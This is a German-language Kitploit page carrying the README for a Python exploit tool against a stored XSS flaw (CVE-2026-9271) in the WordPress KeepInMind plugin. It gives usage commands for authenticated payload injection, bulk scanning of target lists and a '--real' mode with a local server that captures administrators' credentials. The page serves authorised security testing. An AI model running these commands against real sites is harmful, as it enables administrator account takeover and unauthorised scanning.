WordPress-KeepInMind-CVE-2026-9271-Exploit — Autorisiertes Tool zur Bewertung von gespeichertem XSS für CVE-2026-9271 im WordPress KeepInMind-Plugin. Erkennt anfällige Versionen, injiziert sichere Test-Payloads und unterstützt Bulk-Scans mit SQLite-Berichterstattung. | Kitploit

Attribut	Wert
CVE-ID	CVE-2026-9271
Angriffsvektor	Authentifiziert (Contributor+) → Stored XSS → Admin-Auswirkung
Auswirkung	XSS im Admin-Browser; mögliche Kontolibernahme in verwundbaren Installationen
Betroffenes Produkt	WordPress KeepInMind / KeepInMind Dashboard Notes
Betroffene Versionen	≤ 0.8.4.2 (korrigiert in 0.8.4.3+)
Schwachstellentyp	Stored Cross-Site Scripting (XSS)
CWE	CWE-79 (Unzureichende Neutralisierung von Eingaben während der Generierung von Webseiten)

Oberfläche	Rolle
`/wp-json/keepinmind/v1/notes`	REST-API zum Erstellen/Lesen von Notizen
`/wp-admin/`	Admin-Dashboard, in dem gespeicherte Notizen gerendert werden können
Plugin-Pfad	`/wp-content/plugins/keepinmind-dashboard-notes/`

Fähigkeit	Beschreibung
Plugin-Erkennung	Überprüft KeepInMind-Installationspfade und Versionsstrings
WordPress-Version	Extrahiert Generator-/Versionsmetadaten, falls verfügbar
Sicherer Testmodus	Standard-Overlay-Marker, der XSS beweist, ohne Credentials zu erfassen
Authentifizierte Bewertung	Login mit Contributor+-Anmeldedaten für vollständige REST-Injektion
Payload-Bereinigung	Entfernt injizierte Notizen nach der Bewertung
Massen-Scanning	Multithreaded URL-Listen-Scan auf Plugin + verwundbare Version
SQLite-Verlauf	Speichert Bewertungen in `kim_guardian.db`
Textberichte	Schreibt mit Zeitstempel versehene Berichte unter `reports/`
Capture-Server	Optionaler lokaler HTTP-Listener für Lab-Credential-Capture-Übungen
Web-UI	Optionales Flask-Dashboard (`web`-Modus)

Fähigkeit	Beschreibung
Ausführliche Protokollierung	Datei- + Konsolen-Debug unter `logs/`
Proxy-Unterstützung	Verkehr über Burp oder andere HTTP-Proxys leiten
Konfigurierbares Timeout	Timeout pro Anfrage (Standard 30s)
Worker-Pool	Einstellbare Parallelität für Massen-Scans

cd /path/to/exploit

python3 -m venv venv
source venv/bin/activate          # Windows: venv\Scripts\activate

pip install -r requirements.txt
# Empfohlene Extras, die von diesem Skript verwendet werden:
pip install colorama beautifulsoup4 requests flask

python3 CVE-2026-9271.py --help

# Hilfe / Modi
python3 CVE-2026-9271.py --help

# Sichere Einzelzielbewertung (Standard: Test-Payload)
python3 CVE-2026-9271.py assess https://lab.example \
  -u contributor -p 'password' -v

# Massen-Versions-/Plugin-Scan
python3 CVE-2026-9271.py bulk -f targets.txt -w 8 -o bulk_results.txt

# Letzte Bewertungen aus SQLite auflisten
python3 CVE-2026-9271.py db --list --limit 20

# Lokaler Capture-Server (nur Labor)
python3 CVE-2026-9271.py capture --port 5000

# Optionales Web-UI
python3 CVE-2026-9271.py web --host 127.0.0.1 --port 8080

# Terminal 1 — Capture-Listener
python3 CVE-2026-9271.py capture --port 5000

# Terminal 2 — Bewertung mit Capture-Endpunkt
python3 CVE-2026-9271.py assess https://lab.example \
  -u contributor -p 'password' \
  -a http://127.0.0.1:5000 \
  --real \
  -v

# targets.txt — eine URL pro Zeile
python3 CVE-2026-9271.py bulk -f targets.txt -w 5 -o bulk_scan_results.txt

# Oder kommagetrennte URLs
python3 CVE-2026-9271.py bulk -u "https://a.example,https://b.example" -w 3

Argument	Standard	Beschreibung
`url`	erforderlich	Ziel-WordPress-URL
`-u`, `--username`	—	WordPress-Benutzername (Contributor+)
`-p`, `--password`	—	WordPress-Passwort
`-a`, `--attacker`	—	Capture-Server-Basis-URL (Labor-Simulation)
`-t`, `--test`	an	Sicheres Test-Payload bevorzugen
`-r`, `--real`	aus	Labor-Angriffs-Payload aktivieren (benötigt `--attacker`)
`--no-cleanup`	aus	Injizierte Notizen belassen
`-v`, `--verbose`	aus	Ausführliche / Debug-Protokollierung
`--timeout`	`30`	Timeout pro Anfrage (Sekunden)
`--proxy`	—	Proxy-URL (z.B. `http://127.0.0.1:8080`)

Symptom	Was zu tun ist
Authentifizierung fehlgeschlagen	Contributor+-Anmeldedaten bestätigen; `/wp-login.php` prüfen; `-v` verwenden
Plugin nicht erkannt	KeepInMind-Pfad/-Namen überprüfen; ausführlichen Modus versuchen
REST-Injektion fehlschlägt	Authentifizierung + Nonce bestätigen; mit `--proxy` durch Burp inspizieren
Timeout / Verbindungsfehler	`--timeout` erhöhen; Netzwerk / TLS / Proxy prüfen
Keine Schwachstelle im Testmodus	Version ≤ 0.8.4.2 bestätigen; sicherstellen, dass Notizen für Admin gerendert werden
Flask fehlt im `web`-Modus	`pip install flask`
BeautifulSoup fehlt	`pip install beautifulsoup4`

exploit/
├── CVE-2026-9271.py      # KIM-Guardian Pro (v1.0)
├── requirements.txt      # Python-Abhängigkeiten
├── README.md             # Diese Datei
├── kim_guardian.db       # SQLite-Bewertungsverlauf (generiert)
├── logs/                 # Laufzeitlogs (generiert)
├── reports/              # Bewertungstextberichte (generiert)
└── venv/                 # Lokales Virtualenv (optional)

Nur für pädagogische / defensive Nutzung

Copyright (c) 2026 Sudeepa Wanigarathna

Die Erlaubnis wird erteilt, diese Software für autorisierte Sicherheitsforschung,
Bildung und defensive Bewertung zu verwenden.

DIE SOFTWARE WIRD "WIE BESEHEN" BEREITGESTELLT, OHNE JEGLICHE AUSDRÜCKLICHE ODER
IMPLIZITE GEWÄHRLEISTUNG, EINSCHLIESSLICH, ABER NICHT BESCHRÄNKT AUF DIE
GEWÄHRLEISTUNG DER MARKTGÄNGIGKEIT, DER EIGNUNG FÜR EINEN BESTIMMTEN ZWECK UND
DER NICHTVERLETZUNG VON RECHTEN DRITTER.

Pfad	Zweck
`/`	Capture-Server-Statusseite
`/capture`	POST-Endpunkt für Formularübermittlungen
`/captured`	Kürzlich erfasste Einträge (Labor-Überprüfung)

Modus	Beschreibung
`assess`	Einzelziel-KeepInMind-Bewertung
`bulk`	Mehrziel-Plugin-/Versions-Scan
`capture`	Lokaler Credential-Capture-HTTP-Server
`web`	Optionales Flask-Web-UI
`db`	Gespeicherte Bewertungen auflisten

Argument	Standard	Beschreibung
`-f`, `--file`	—	Datei mit URLs (eine pro Zeile)
`-u`, `--urls`	—	Kommagetrennte URLs
`-w`, `--workers`	`5`	Thread-Pool-Größe
`-o`, `--output`	`bulk_scan_results.txt`	Berichtspfad

Argument	Standard	Beschreibung
`--host`	`127.0.0.1`	Bindungsadresse
`--port`	`8080`	Lauschport

Argument	Standard	Beschreibung
`--list`	aus	Letzte Bewertungen auflisten
`--limit`	`10`	Maximale Anzahl anzuzeigender Zeilen

Rolle	Name
Tool-Autor	Sudeepa Wanigarathna
CVE	CVE-2026-9271
Tool	KIM-Guardian Pro v1.0
Hauptskript	`CVE-2026-9271.py`
Lizenz	Pädagogisch / Defensive Nutzung

WordPress-KeepInMind-CVE-2026-9271-Exploit

Beliebteste

KIM-Guardian Pro

CVE-2026-9271 — WordPress KeepInMind Stored XSS Bewertung

Inhaltsverzeichnis

Übersicht

Schwachstellendetails

Relevante Oberflächen

Bewertungsablauf (hohe Ebene)

Funktionen

Kernfähigkeiten

Betriebliche Steuerungen

Installation

Voraussetzungen

Einrichtung

Kernabhängigkeiten

Schnellstart

Nutzungshandbuch

1. Hilfe anzeigen

2. Sichere Bewertung (empfohlen)

3. Bereinigung überspringen

4. Proxy + Timeout

5. Labor-Angriffssimulation (nur autorisierte Umgebungen)

6. Massen-Scan

7. Datenbankverlauf

8. Weboberfläche

Befehlsreferenz

Global

assess

bulk

capture

web

db

Ausgabe & Berichterstattung

Konsole

Textberichte

SQLite

Logs

Massenberichtsfelder

Fehlerbehebung

Debug-Workflow

Repository-Struktur

Versionsgeschichte

v1.0.0 — Erste Veröffentlichung

Haftungsausschluss

Autor & Danksagungen

Lizenz

`assess`

`bulk`

`capture`

`web`

`db`